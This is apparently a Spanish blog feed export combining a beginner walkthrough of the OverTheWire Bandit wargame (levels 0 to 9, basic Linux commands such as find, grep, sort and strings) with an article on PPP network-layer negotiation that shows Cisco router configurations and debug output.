<p>Para leer los archivos ocultos, se debe mantener el <code class="language-plaintext highlighter-rouge">.</code> al momento de usar el <code class="language-plaintext highlighter-rouge">cat</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/cat-bandit3.png" alt="bandit" /></p>
<h2 id="solución-bandit-4--5">Solución Bandit 4 > 5</h2>
<h3 id="instrucciones-4">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en un archivo dentro del directorio inhere, y es el único archivo que puede ser leído por un humano.</p>
<h3 id="comandos-recomendados-a-usar-4">Comandos recomendados a usar</h3>
<p>ls, cd, cat, file, du, find</p>
<h3 id="solución-4">Solución</h3>
<p>Al igual que en retos anteriores, usamos <code class="language-plaintext highlighter-rouge">ls</code> para ver el contenido del directorio actual, y <code class="language-plaintext highlighter-rouge">cd</code> para cambiar de directorio:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-1-bandit4.png" alt="bandit" /></p>
<p>Revisamos el contenido de la carpeta, y vemos que hay 10 archivos que inician con <code class="language-plaintext highlighter-rouge">-</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-2-bandit4.png" alt="bandit" /></p>
<p>Para esto, usamos el comando <code class="language-plaintext highlighter-rouge">file</code>, el cual, permite determinar el tipo de archivo. El símbolo <code class="language-plaintext highlighter-rouge">*</code>, corresponde a una wildcard, lo que nos permite aplicar el comando <code class="language-plaintext highlighter-rouge">file</code> a todos los archivos. Como todos los archivos inician con <code class="language-plaintext highlighter-rouge">-</code>, usamos el <code class="language-plaintext highlighter-rouge">./</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/file-bandit4.png" alt="bandit" /></p>
<p>El resultado del comando nos indica que el archivo <code class="language-plaintext highlighter-rouge">-file07</code> es texto ASCII, por lo tanto podemos leerlo sin problemas con un <code class="language-plaintext highlighter-rouge">cat</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/cat-bandit4.png" alt="bandit" /></p>
<h2 id="solución-bandit-5--6">Solución Bandit 5 > 6</h2>
<h3 id="instrucciones-5">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en un archivo dentro del directorio <code class="language-plaintext highlighter-rouge">inhere</code>, y este archivo tiene las siguientes características:</p>
<ul>
<li>Puede ser leído por un humano</li>
<li>Pese 1033 bytes</li>
<li>Que no sea ejecutable</li>
</ul>
<h3 id="comandos-recomendados-a-usar-5">Comandos recomendados a usar</h3>
<p>ls, cd, cat, file, du, find</p>
<h3 id="solución-5">Solución</h3>
<p>Revisamos que el directorio <code class="language-plaintext highlighter-rouge">inhere</code> exista, ingresamos a él y volvemos a validar que posee:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-1-bandit5-1.png" alt="bandit" /></p>
<p>Vemos que la carpeta <code class="language-plaintext highlighter-rouge">inhere</code> contiene solo carpetas (debido que todos poseen una <code class="language-plaintext highlighter-rouge">d</code> en la sección de los permisos), debemos buscar en cada una de ellas un archivo con las indicaciones dadas.</p>
<p>Para esto, revisaremos el manual de la herramienta <code class="language-plaintext highlighter-rouge">find</code>, la cual nos permite buscar archivos en un directorio.</p>
<p>Esta posee la opción <code class="language-plaintext highlighter-rouge">-executable</code> para buscar archivos ejecutables:</p>
<p><img src="/assets/img/wargame-bandit-1/man-1-bandit5.png" alt="bandit" /></p>
<p>La opción <code class="language-plaintext highlighter-rouge">-size</code> permite buscar por tamaño:</p>
<p><img src="/assets/img/wargame-bandit-1/man-2-bandit5.png" alt="bandit" /></p>
<p>El signo <code class="language-plaintext highlighter-rouge">!</code> permite realizar una negación:</p>
<p><img src="/assets/img/wargame-bandit-1/man-3-bandit5-1.png" alt="bandit" /></p>
<p>Por lo tanto, usamos el comando <code class="language-plaintext highlighter-rouge">find ! -executable -size 1033c</code>, donde:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">! -executable</code> nos permite buscar archivos no ejecutable</li>
<li><code class="language-plaintext highlighter-rouge">size 1033c</code> nos permite buscar archivos de 1033 bytes (usando la opción <code class="language-plaintext highlighter-rouge">c</code>)</li>
</ul>
<blockquote>
<p>NOTA: al no indicar directorio en el comando <code class="language-plaintext highlighter-rouge">find</code>, buscará en la carpeta local. Esto también se puede lograr usando un <code class="language-plaintext highlighter-rouge">.</code>, que define el directorio local.</p>
</blockquote>
<p><img src="/assets/img/wargame-bandit-1/find-bandit5.png" alt="bandit" /></p>
<p>Validamos que pueda ser leído por un humano:</p>
<p><img src="/assets/img/wargame-bandit-1/file-bandit5.png" alt="bandit" /></p>
<p>Y por último, vemos el contenido del archivo:</p>
<p><img src="/assets/img/wargame-bandit-1/cat-bandit5.png" alt="bandit" /></p>
<h2 id="solución-bandit-6--7">Solución Bandit 6 > 7</h2>
<h3 id="instrucciones-6">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en un archivo dentro del servidor, y esta posee las siguientes características:</p>
<ul>
<li>Pertenece al usuario bandit7</li>
<li>Pertenece al grupo bandit6</li>
<li>Pesa 33 bytes</li>
</ul>
<h3 id="comandos-recomendados-a-usar-6">Comandos recomendados a usar</h3>
<p>ls, cd, cat, file, du, find, grep</p>
<h3 id="solución-6">Solución</h3>
<p>Ya sabemos que con el comando <code class="language-plaintext highlighter-rouge">find</code> podemos buscar archivos dentro del sistema. Conocemos la opción <code class="language-plaintext highlighter-rouge">-size</code>, que permite buscar por el peso del archivo. Ahora vemos en el manual, las opciones para buscar por el propietario (usuario), con la opción <code class="language-plaintext highlighter-rouge">-user</code>, y que la opción <code class="language-plaintext highlighter-rouge">-group</code> nos permite buscar por el grupo al que se encuentra asociado:</p>
<p><img src="/assets/img/wargame-bandit-1/man-1-bandit6.png" alt="bandit" /></p>
<p><img src="/assets/img/wargame-bandit-1/man-2-bandit6.png" alt="bandit" /></p>
<p>Y como no sabemos en qué carpeta del sistema se encuentra, lo buscamos desde la raíz de este (<code class="language-plaintext highlighter-rouge">/</code>):</p>
<p><img src="/assets/img/wargame-bandit-1/find-1-bandit6.png" alt="bandit" /></p>
<p>El problema que se presenta en la imagen, corresponden a múltiples errores de <code class="language-plaintext highlighter-rouge">Permission denied</code>, los cuales, pertenecen a STDERR (standard error). Cuando se ejecuta un proceso y se produce un error, los mensajes que se muestran en consola son standard errors (como en este caso, donde no tenemos permisos para ver algunos directorios).</p>
<p>El STDERR es identificado con el número <code class="language-plaintext highlighter-rouge">2</code>, y sus mensajes pueden ser redirigidos (usando el símbolo <code class="language-plaintext highlighter-rouge">></code>) a <code class="language-plaintext highlighter-rouge">/dev/null</code> (archivo especial utilizado para descartar información):</p>
<p><img src="/assets/img/wargame-bandit-1/find-2-bandit6.png" alt="bandit" /></p>
<p>Ahora que encontramos el archivo con esas características, podemos leerlo sin problemas:</p>
<p><img src="/assets/img/wargame-bandit-1/cat-bandit6.png" alt="bandit" /></p>
<h2 id="solución-bandit-7--8">Solución Bandit 7 > 8</h2>
<h3 id="instrucciones-7">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">data.txt</code> después de la palabra <code class="language-plaintext highlighter-rouge">millionth</code>.</p>
<h3 id="comandos-recomendados-a-usar-7">Comandos recomendados a usar</h3>
<p>grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd</p>
<h3 id="solución-7">Solución</h3>
<p>Revisamos si el archivo existe en el directorio actual, y lo leemos:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-bandit7.png" alt="bandit" /></p>
<p><img src="/assets/img/wargame-bandit-1/cat-bandit7.png" alt="bandit" /></p>
<p>Al ejecutar <code class="language-plaintext highlighter-rouge">cat</code> al archivo, vemos que aparecen miles de líneas de texto, por lo tanto, se nos complica un poco la búsqueda. Para que sea más fácil, utilizamos la herramienta <code class="language-plaintext highlighter-rouge">grep</code>, que nos permite filtrar por texto.</p>
<p>Como <code class="language-plaintext highlighter-rouge">grep</code> nos permite filtrar por texto, buscamos por la palabra que se encuentra antes de la password (<code class="language-plaintext highlighter-rouge">millionth</code>):</p>
<p><img src="/assets/img/wargame-bandit-1/grep-bandit7.png" alt="bandit" /></p>
<h2 id="solución-bandit-8--9">Solución Bandit 8 > 9</h2>
<h3 id="instrucciones-8">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">data.txt</code>, y es la única línea que no se repite.</p>
<h3 id="comandos-recomendados-a-usar-8">Comandos recomendados a usar</h3>
<p>grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd</p>
<h3 id="solución-8">Solución</h3>
<p>Validamos que el archivo existe:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-bandit8.png" alt="bandit" /></p>
<p>Para buscar líneas únicas en un archivo usamos el comando uniq con la opción <code class="language-plaintext highlighter-rouge">-u</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/man-bandit8.png" alt="bandit" /></p>
<p><img src="/assets/img/wargame-bandit-1/uniq-bandit8-2.png" alt="bandit" /></p>
<p>Se nos presenta el primer problema, que es el desorden del texto. Para encontrar la solución, ordenamos el contenido del archivo usando la herramienta <code class="language-plaintext highlighter-rouge">sort</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/sort-1-bandit8.png" alt="bandit" /></p>
<p>Ahora que el texto se encuentra ordenado, podemos redireccionar la salida del comando <code class="language-plaintext highlighter-rouge">sort</code> al comando <code class="language-plaintext highlighter-rouge">uniq -u</code> a través del símbolo <code class="language-plaintext highlighter-rouge">|</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/sort-2-bandit8.png" alt="bandit" /></p>
<h2 id="solución-bandit-9--10">Solución Bandit 9 > 10</h2>
<h3 id="instrucciones-9">Instrucciones</h3>
<p>La password del siguiente reto se encuentra en el archivo <code class="language-plaintext highlighter-rouge">data.txt</code>, y es la única línea que puede ser leída por un humano, e inicia con múltiples <code class="language-plaintext highlighter-rouge">=</code>.</p>
<h3 id="comandos-recomendados-a-usar-9">Comandos recomendados a usar</h3>
<p>grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd</p>
<h3 id="solución-9">Solución</h3>
<p>Revisamos que el archivo existe:</p>
<p><img src="/assets/img/wargame-bandit-1/ls-bandit9.png" alt="bandit" /></p>
<p>Intentamos buscarlo usando <code class="language-plaintext highlighter-rouge">grep</code>, pero al no ser un archivo de texto ASCII, no puede ser leído por este:</p>
<p><img src="/assets/img/wargame-bandit-1/grep-bandit9.png" alt="bandit" /></p>
<p>Por lo tanto, usamos el comando <code class="language-plaintext highlighter-rouge">strings</code>, quien nos imprime las cadenas de caracteres <code class="language-plaintext highlighter-rouge">imprimibles</code> en un archivo. El output de este comando lo redireccionamos a un <code class="language-plaintext highlighter-rouge">grep</code>, para buscar por varios <code class="language-plaintext highlighter-rouge">=</code>:</p>
<p><img src="/assets/img/wargame-bandit-1/strings-2-bandit9.png" alt="bandit" /></p>W0lf_F4ngms@w0lff4ng.orgEl wargame Bandit, es un juego creado por OverTheWire para principiantes con la finalidad de enseñar lo básico para trabajar en otros wargames. Es totalmente recomendable participar en este juego, debido que nos permite interiorizarnos con la línea de comandos del OS Linux. Este juego se encuentra ordenado por niveles y dificultad, permitiendo ir aprendiendo desde lo más básico. Al completar cada nivel, se obtiene un premio conocido como Flag. El Flag de cada nivel corresponde a la contraseña de acceso al siguiente, por tanto, es recomendable ir en orden para obtenerlas todas. Este wargame parte en el nivel 0,la que funciona como una introducción al juego. NOTA: si te encuentras atascado en un reto, y no sabes cómo utilizar un comando, puedes ver su manual a través del comando man (ejemplo: man ssh); también, puedes usar la opción -h o –help (ejemplo: awk -h, awk –help) o buscar en Google. Además, en cada reto nos indican los comandos que podemos usar para poder resolverlos. Para ingresar a cada reto, se debe realizar una conexión SSH al hostname bandit.labs.overthewire.org, usando el puerto 2220. Para diferenciar cada reto, va cambiando el número del username, partiendo en bandit0. Para la conexión se recomienda el uso de la terminal de Linux, o si trabajan en Windows, usar la herramienta PuTTY. Conexión usando el terminal de Linux ssh bandit0@bandit.labs.overthewire.org -p 2220 En la sección roja de la imagen se define el username Luego del username se escribe un @, para seguir con la sección verde, que corresponde al hostname donde nos conectaremos La sección rosa es para especificar el puerto (es necesaria esta opción, debido que el puerto por defecto de SSH es el 22) Y por último, en la seccion amarilla se indica el password Como uso Kali Linux para resolver los retos, me gusta usar la herramienta SSHPass, donde se define un archivo con la password al momento de ejecutar SSH, en vez de escribirla cuando me la solicita el prompt: Instalación de SSHPass en Kali Linux apt install sshpass Uso de SSHPass Necesitamos tener un archivo con el texto de la password para ejecutar este comando: sshpass -p `cat bandit0` ssh bandit0@bandit.labs.overthewire.org -p 2220 Como podemos ver en la imagen, se ejecuta el comando sshpass seguido de la lectura del archivo donde tenemos la password (leído con un cat entre backtick “`”), continuando con el comando normal de SSH. Conexión usando PuTTY Al usar Putty, lo primero que se debe indicar es: Verde: hostname Rosa: puerto Café: protocolo Luego de ingresar estos parámetros, se da clic en Open, y esto iniciará la conexión SSH. Cuando se inicie la conexión, el servidor nos solicitará ingresar los siguientes datos: Rojo: username Amarillo: password Solución Bandit 0 > 1 Instrucciones La password del siguiente reto se encuentra en el archivo readme, situado en el directorio home del usuario con el que nos conectamos. Comandos recomendados a usar ls, cd, cat, file, du, find Solución Como nos indican que el archivo readme se encuentra en el directorio home de bandit0, nos debemos fijar que en el prompt al conectamos nos aparezca el símbolo de la virgulilla (~). Este símbolo nos indica que estamos en el home del usuario con el cual nos conectamos. Para revisar los archivos/carpetas que se tienen en este directorio, podemos usar el comando ls, el cual, nos enlista el contenido que esta posee: Ahora que sabemos que el archivo readme se encuentra realmente en este directorio, usamos el comando cat para poder leer el contenido de este, y obtener la password para el siguiente reto: Solución Bandit 1 > 2 Instrucciones La password del siguiente reto se encuentra en el archivo -, situado en el directorio home del usuario con el que nos conectamos. Comandos recomendados a usar ls, cd, cat, file, du, find Solución Al igual que en el reto anterior, el archivo con la password se encuentra situado en el directorio home. Si ejecutamos ls al directorio, podemos ver que se encuentra el archivo: Pero al momento de ejecutar cat, podemos ver que se nos presenta el primer problema: Cuando hacemos un cat -, vemos que realiza un salto de línea esperando a que ingresemos datos. El símbolo - en Linux corresponde a un STDIN (standard input), el cual, lee la entrada en la consola: El texto rojo es la entrada (ingresado por teclado) El texto en verde es la salida del texto ingresado Para poder leer los archivos que inician con -, se debe anteponer ./ al nombre de este: Solución Bandit 2 > 3 Instrucciones La password del siguiente reto se encuentra en el archivo spaces in this filename situado en el directorio home del usuario con el que nos conectamos. Comandos recomendados a usar ls, cd, cat, file, du, find Solución Como hemos visto en retos anteriores, usando el comando ls revisamos el contenido del directorio home. Si a este comando le ingresamos la opción -l, podemos ver un formato de listado largo: Corroboramos que el archivo spaces in this filename existe en el directorio local. Así que, intentaremos leerlo con un cat: Al hacer el cat se produce un error, debido a que el comando asume que cada palabra del nombre spaces in this filename es un archivo/directorio, y no un archivo único. Para que bash nos reconozca el nombre de spaces in this filename como un archivo único, debemos escribirlo entre comillas ("): Solución Bandit 3 > 4 Instrucciones La password del siguiente reto se encuentra en un archivo oculto en el directorio inhere. Comandos recomendados a usar ls, cd, cat, file, du, find Solución Si revisamos el manual de ls usando el comando man ls, podemos ver que este posee la opción -a, la que nos permite ver todos los archivos en un directorio: Por lo tanto, hacemos un ls al directorio local para ver si se encuentra la carpeta inhere: Como la carpeta existe, ingresamos a esta usando el comando cd, y vemos todo el contenido de la carpeta: Los archivos/directorios que inician con un . en Linux se encuentra ocultos. Para leer los archivos ocultos, se debe mantener el . al momento de usar el cat: Solución Bandit 4 > 5 Instrucciones La password del siguiente reto se encuentra en un archivo dentro del directorio inhere, y es el único archivo que puede ser leído por un humano. Comandos recomendados a usar ls, cd, cat, file, du, find Solución Al igual que en retos anteriores, usamos ls para ver el contenido del directorio actual, y cd para cambiar de directorio: Revisamos el contenido de la carpeta, y vemos que hay 10 archivos que inician con -: Para esto, usamos el comando file, el cual, permite determinar el tipo de archivo. El símbolo *, corresponde a una wildcard, lo que nos permite aplicar el comando file a todos los archivos. Como todos los archivos inician con -, usamos el ./: El resultado del comando nos indica que el archivo -file07 es texto ASCII, por lo tanto podemos leerlo sin problemas con un cat: Solución Bandit 5 > 6 Instrucciones La password del siguiente reto se encuentra en un archivo dentro del directorio inhere, y este archivo tiene las siguientes características: Puede ser leído por un humano Pese 1033 bytes Que no sea ejecutable Comandos recomendados a usar ls, cd, cat, file, du, find Solución Revisamos que el directorio inhere exista, ingresamos a él y volvemos a validar que posee: Vemos que la carpeta inhere contiene solo carpetas (debido que todos poseen una d en la sección de los permisos), debemos buscar en cada una de ellas un archivo con las indicaciones dadas. Para esto, revisaremos el manual de la herramienta find, la cual nos permite buscar archivos en un directorio. Esta posee la opción -executable para buscar archivos ejecutables: La opción -size permite buscar por tamaño: El signo ! permite realizar una negación: Por lo tanto, usamos el comando find ! -executable -size 1033c, donde: ! -executable nos permite buscar archivos no ejecutable size 1033c nos permite buscar archivos de 1033 bytes (usando la opción c) NOTA: al no indicar directorio en el comando find, buscará en la carpeta local. Esto también se puede lograr usando un ., que define el directorio local. Validamos que pueda ser leído por un humano: Y por último, vemos el contenido del archivo: Solución Bandit 6 > 7 Instrucciones La password del siguiente reto se encuentra en un archivo dentro del servidor, y esta posee las siguientes características: Pertenece al usuario bandit7 Pertenece al grupo bandit6 Pesa 33 bytes Comandos recomendados a usar ls, cd, cat, file, du, find, grep Solución Ya sabemos que con el comando find podemos buscar archivos dentro del sistema. Conocemos la opción -size, que permite buscar por el peso del archivo. Ahora vemos en el manual, las opciones para buscar por el propietario (usuario), con la opción -user, y que la opción -group nos permite buscar por el grupo al que se encuentra asociado: Y como no sabemos en qué carpeta del sistema se encuentra, lo buscamos desde la raíz de este (/): El problema que se presenta en la imagen, corresponden a múltiples errores de Permission denied, los cuales, pertenecen a STDERR (standard error). Cuando se ejecuta un proceso y se produce un error, los mensajes que se muestran en consola son standard errors (como en este caso, donde no tenemos permisos para ver algunos directorios). El STDERR es identificado con el número 2, y sus mensajes pueden ser redirigidos (usando el símbolo >) a /dev/null (archivo especial utilizado para descartar información): Ahora que encontramos el archivo con esas características, podemos leerlo sin problemas: Solución Bandit 7 > 8 Instrucciones La password del siguiente reto se encuentra en el archivo data.txt después de la palabra millionth. Comandos recomendados a usar grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd Solución Revisamos si el archivo existe en el directorio actual, y lo leemos: Al ejecutar cat al archivo, vemos que aparecen miles de líneas de texto, por lo tanto, se nos complica un poco la búsqueda. Para que sea más fácil, utilizamos la herramienta grep, que nos permite filtrar por texto. Como grep nos permite filtrar por texto, buscamos por la palabra que se encuentra antes de la password (millionth): Solución Bandit 8 > 9 Instrucciones La password del siguiente reto se encuentra en el archivo data.txt, y es la única línea que no se repite. Comandos recomendados a usar grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd Solución Validamos que el archivo existe: Para buscar líneas únicas en un archivo usamos el comando uniq con la opción -u: Se nos presenta el primer problema, que es el desorden del texto. Para encontrar la solución, ordenamos el contenido del archivo usando la herramienta sort: Ahora que el texto se encuentra ordenado, podemos redireccionar la salida del comando sort al comando uniq -u a través del símbolo |: Solución Bandit 9 > 10 Instrucciones La password del siguiente reto se encuentra en el archivo data.txt, y es la única línea que puede ser leída por un humano, e inicia con múltiples =. Comandos recomendados a usar grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd Solución Revisamos que el archivo existe: Intentamos buscarlo usando grep, pero al no ser un archivo de texto ASCII, no puede ser leído por este: Por lo tanto, usamos el comando strings, quien nos imprime las cadenas de caracteres imprimibles en un archivo. El output de este comando lo redireccionamos a un grep, para buscar por varios =:Point-to-Point Protocol – Part. 32020-05-23T11:58:47-04:002020-05-23T11:58:47-04:00http://www.w0lff4ng.org/point-to-point-protocol-part-3<p><img src="/assets/img/point-to-point-protocol-part-3/ppp.jpeg" alt="ppp" /></p>
<p>Una vez que finaliza el establecimiento del enlace con LCP, y no se posee autenticación, PPP pasa a la fase de negociación de los protocolos de red.PPP posee NCP independientes para los protocolos de capa de red, donde los más usados son:</p>
<ul>
<li><strong>IPCP:</strong> utilizado para IPv4.</li>
<li><strong>IPV6CP:</strong> para IPv6.</li>
<li><strong>IPXCP:</strong> usado en IPX.</li>
<li><strong>CDPCP:</strong> para CDP.</li>
</ul>
<p>La idea de tener NCPs independientes, es que estos pueden abrir y cerrar los módulos en cualquier momento, sin afectar a los demás protocolos de capa de red.</p>
<p>Estos protocolos pueden negociar los parámetros a usar como se hace en LCP donde, por ejemplo, si uno de los dispositivos negocia la IP, mediante NCP el dispositivo remoto puede entregar información de direccionamiento.</p>
<p>Con respecto a la implementación del protocolo en los equipos, se configura la encapsulación del protocolo con el comando encapsulation ppp, en R1 se indica que se negociará el direccionamiento IPv4, R2 tiene un pool local de direcciones, y ambos routers tienen dirección IPv6 (solo para ver cómo negocia NCP):</p>
<p>R1:</p>
<pre style="border: 1px solid #000000; padding: 1.2em;">R1#sh run int s1/0
Building configuration...
Current configuration : 118 bytes
!
<span style="color: #0080FF;">interface Serial1/0
ip address negotiated
encapsulation ppp
ipv6 address 2000::1/64</span>
serial restart-delay 0
end</pre>
<p>R2:</p>
<pre style="border: 1px solid #000000; padding: 1.2em;">R2#sh run int s1/0
Building configuration...
Current configuration : 168 bytes
!
<span style="color: #0080FF;">interface Serial1/0
ip address 192.168.1.2 255.255.255.0
encapsulation ppp
peer default ip address pool POOL
ipv6 address 2000::2/64</span>
serial restart-delay 0
end
R2#sh run | in ip local pool
<span style="color: #0080FF;">ip local pool POOL 192.168.1.5 192.168.1.10</span></pre>
<p>Cuando levantamos las interfaces, podemos ver la negociación de los protocolos de capa red con el comando <strong><em>debug ppp negotiation</em></strong>:</p>
<pre style="border: 1px solid #000000; padding: 1.2em;">R1#debug ppp negotiation
PPP protocol negotiation debugging is on
R1#
*Jun 25 12:57:03.923: Se1/0 LCP: O CONFREQ [REQsent] id 4 len 10
*Jun 25 12:57:03.927: Se1/0 LCP: MagicNumber 0x012A9886 (0x0506012A9886)
*Jun 25 12:57:03.927: Se1/0 LCP: Event[Timeout+] State[REQsent to REQsent]
R1#
*Jun 25 12:57:05.939: Se1/0 LCP: O CONFREQ [REQsent] id 5 len 10
*Jun 25 12:57:05.943: Se1/0 LCP: MagicNumber 0x012A9886 (0x0506012A9886)
*Jun 25 12:57:05.943: Se1/0 LCP: Event[Timeout+] State[REQsent to REQsent]
*Jun 25 12:57:06.035: Se1/0 LCP: I CONFREQ [REQsent] id 1 len 10
*Jun 25 12:57:06.035: Se1/0 LCP: MagicNumber 0x022ABA39 (0x0506022ABA39)
*Jun 25 12:57:06.039: Se1/0 LCP: O CONFACK [REQsent] id 1 len 10
*Jun 25 12:57:06.039: Se1/0 LCP: MagicNumber 0x022ABA39 (0x0506022ABA39)
*Jun 25 12:57:06.043: Se1/0 LCP: Event[Receive ConfReq+] State[REQsent to ACKsent]
*Jun 25 12:57:06.071: Se1/0 LCP: I CONFACK [ACKsent] id 5 len 10
*Jun 25 12:57:06.071: Se1/0 LCP: MagicNumber 0x012A9886 (0x0506012A9886)
*Jun 25 12:57:06.071: Se1/0 LCP: Event[Receive ConfAck] State[ACKsent to Open]
*Jun 25 12:57:06.099: Se1/0 PPP: Phase is FORWARDING, Attempting Forward
*Jun 25 12:57:06.103: Se1/0 LCP: State is Open
*Jun 25 12:57:06.135: Se1/0 PPP: Phase is ESTABLISHING, Finish
R1#LCP
*Jun 25 12:57:06.135: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial1/0, changed state to up
*Jun 25 12:57:06.151: Se1/0 PPP: Phase is UP
<span style="color: #0080FF;">*Jun 25 12:57:06.159: Se1/0 IPCP: Protocol configured, start CP. state[Initial]
*Jun 25 12:57:06.167: Se1/0 IPCP: Event[OPEN] State[Initial to Starting]
*Jun 25 12:57:06.175: Se1/0 IPCP: O CONFREQ [Starting] id 1 len 10
*Jun 25 12:57:06.175: Se1/0 IPCP: Address 0.0.0.0 (0x030600000000)
*Jun 25 12:57:06.179: Se1/0 IPCP: Event[UP] State[Starting to REQsent]
</span><span style="color: #FA5858;">*Jun 25 12:57:06.187: Se1/0 IPV6CP: Protocol configured, start CP. state[Initial]
*Jun 25 12:57:06.195: Se1/0 IPV6CP: Event[OPEN] State[Initial to Starting]
*Jun 25 12:57:06.199: Se1/0 IPV6CP: O CONFREQ [Starting] id 1 len 14
*Jun 25 12:57:06.203: Se1/0 IPV6CP: Interface-Id C801:26FF:FE5C:0000 (0x010AC80126FFFE5C0000)
*Jun 25 12:57:06.203: Se1/0 IPV6CP: Event[UP] State[Starting to REQsent]
</span><span style="color: #D358F7;">*Jun 25 12:57:06.211: Se1/0 CDPCP: Protocol configured, start CP. state[Initial
R1#]
*Jun 25 12:57:06.219: Se1/0 CDPCP: Event[OPEN] State[Initial to Starting]
*Jun 25 12:57:06.223: Se1/0 CDPCP: O CONFREQ [Starting] id 1 len 4
*Jun 25 12:57:06.223: Se1/0 CDPCP: Event[UP] State[Starting to REQsent]
</span><span style="color: #0080FF;">*Jun 25 12:57:06.231: Se1/0 IPCP: I CONFREQ [REQsent] id 1 len 10
*Jun 25 12:57:06.231: Se1/0 IPCP: Address 192.168.1.2 (0x0306C0A80102)
*Jun 25 12:57:06.235: Se1/0 IPCP: O CONFACK [REQsent] id 1 len 10
*Jun 25 12:57:06.235: Se1/0 IPCP: Address 192.168.1.2 (0x0306C0A80102)
*Jun 25 12:57:06.235: Se1/0 IPCP: Event[Receive ConfReq+] State[REQsent to ACKsent]
</span><span style="color: #FA5858;">*Jun 25 12:57:06.235: Se1/0 IPV6CP: I CONFREQ [REQsent] id 1 len 14
*Jun 25 12:57:06.235: Se1/0 IPV6CP: Interface-Id C802:26FF:FE5E:0000 (0x010AC80226FFFE5E0000)
*Jun 25 12:57:06.235: Se1/0 IPV6CP: O CONFACK [REQsent] id 1 len 14
*Jun 25 12:57:06.239: Se1/0 IPV6CP: Interface-Id C802:26FF:FE5E:0000 (0x010AC80226FFFE5E0000)
*Jun 25 12:57:06.239: Se1/0 IPV6CP: Event[Receive ConfReq+] State[REQsent to
R1#ACKsent]
</span><span style="color: #D358F7;">*Jun 25 12:57:06.239: Se1/0 CDPCP: I CONFREQ [REQsent] id 1 len 4
*Jun 25 12:57:06.239: Se1/0 CDPCP: O CONFACK [REQsent] id 1 len 4
*Jun 25 12:57:06.239: Se1/0 CDPCP: Event[Receive ConfReq+] State[REQsent to ACKsent]
</span><span style="color: #0080FF;">*Jun 25 12:57:06.255: Se1/0 IPCP: I CONFNAK [ACKsent] id 1 len 10
*Jun 25 12:57:06.255: Se1/0 IPCP: Address 192.168.1.5 (0x0306C0A80105)
*Jun 25 12:57:06.255: Se1/0 IPCP: O CONFREQ [ACKsent] id 2 len 10
*Jun 25 12:57:06.255: Se1/0 IPCP: Address 192.168.1.5 (0x0306C0A80105)
*Jun 25 12:57:06.255: Se1/0 IPCP: Event[Receive ConfNak/Rej] State[ACKsent to ACKsent]
</span><span style="color: #FA5858;">*Jun 25 12:57:06.263: Se1/0 IPV6CP: I CONFACK [ACKsent] id 1 len 14
*Jun 25 12:57:06.263: Se1/0 IPV6CP: Interface-Id C801:26FF:FE5C:0000 (0x010AC80126FFFE5C0000)
*Jun 25 12:57:06.267: Se1/0 IPV6CP: Event[Receive ConfAck] State[ACKsent to Open]
</span><span style="color: #D358F7;">*Jun 25 12:57:06.267: Se1/0 CDPCP: I CONFACK [ACKsent] id 1 len 4
*Jun 25 12:57:06.267: Se1/0 CDPCP: Event[Receive ConfAck] State[ACKsent to Open]
</span>R1#
<span style="color: #FA5858;">*Jun 25 12:57:06.307: Se1/0 IPV6CP: State is Open
</span><span style="color: #D358F7;">*Jun 25 12:57:06.339: Se1/0 CDPCP: State is Open
</span><span style="color: #0080FF;">*Jun 25 12:57:06.363: Se1/0 IPCP: I CONFACK [ACKsent] id 2 len 10
*Jun 25 12:57:06.367: Se1/0 IPCP: Address 192.168.1.5 (0x0306C0A80105)
*Jun 25 12:57:06.367: Se1/0 IPCP: Event[Receive ConfAck] State[ACKsent to Open]
*Jun 25 12:57:06.367: Se1/0 IPCP: State is Open
*Jun 25 12:57:06.371: Se1/0 IPCP: Install negotiated IP interface address 192.168.1.5
*Jun 25 12:57:06.451: Se1/0 Added to neighbor route AVL tree: topoid 0, address 192.168.1.2
*Jun 25 12:57:06.455: Se1/0 IPCP: Install route to 192.168.1.2</span></pre>
<p>Podemos ver que R1 se encuentra negociando el direccionamiento IPv4 para su interfaz, donde a través de NCP indica que no tiene dirección “<strong><em>Se1/0 IPCP: Address 0.0.0.0 (0x030600000000)</em></strong>“, y R2 responde con un Configure-Nak, confirmando que no acepta dicha configuración, pero ofrece una nueva: “<strong><em>Se1/0 IPCP: I CONFNAK [ACKsent] id 1 len 10“, “Se1/0 IPCP: Address 192.168.1.5 (0x0306C0A80105)</em></strong>“.</p>
<p>Con un <strong><em>show ip interface brief</em></strong> podemos ver que se aprende la dirección a través de IPCP:</p>
<pre style="border: 1px solid #000000; padding: 1.2em;">R1#<span style="color: #0080FF;">sh ip int br | in Serial1/0</span>
<span style="color: #0080FF;">Serial1/0 192.168.1.5 YES IPCP up</span> up
R1#<span style="color: #0080FF;">sh ip route | be Gateway</span>
Gateway of last resort is not set
<span style="color: #0080FF;">192.168.1.0/32 is subnetted, 2 subnets
C 192.168.1.2 is directly connected, Serial1/0
C 192.168.1.5 is directly connected, Serial1/0</span></pre>
<p>Con respecto a IPv6, los equipos informan su dirección Link-Local (R1: “<strong><em>Se1/0 IPV6CP: Interface-Id C801:26FF:FE5C:0000 (0x010AC80126FFFE5C0000)</em></strong>“, R2: “<strong><em>Se1/0 IPV6CP: Interface-Id C802:26FF:FE5E:0000 (0x010AC80226FFFE5E0000)</em></strong>“):</p>
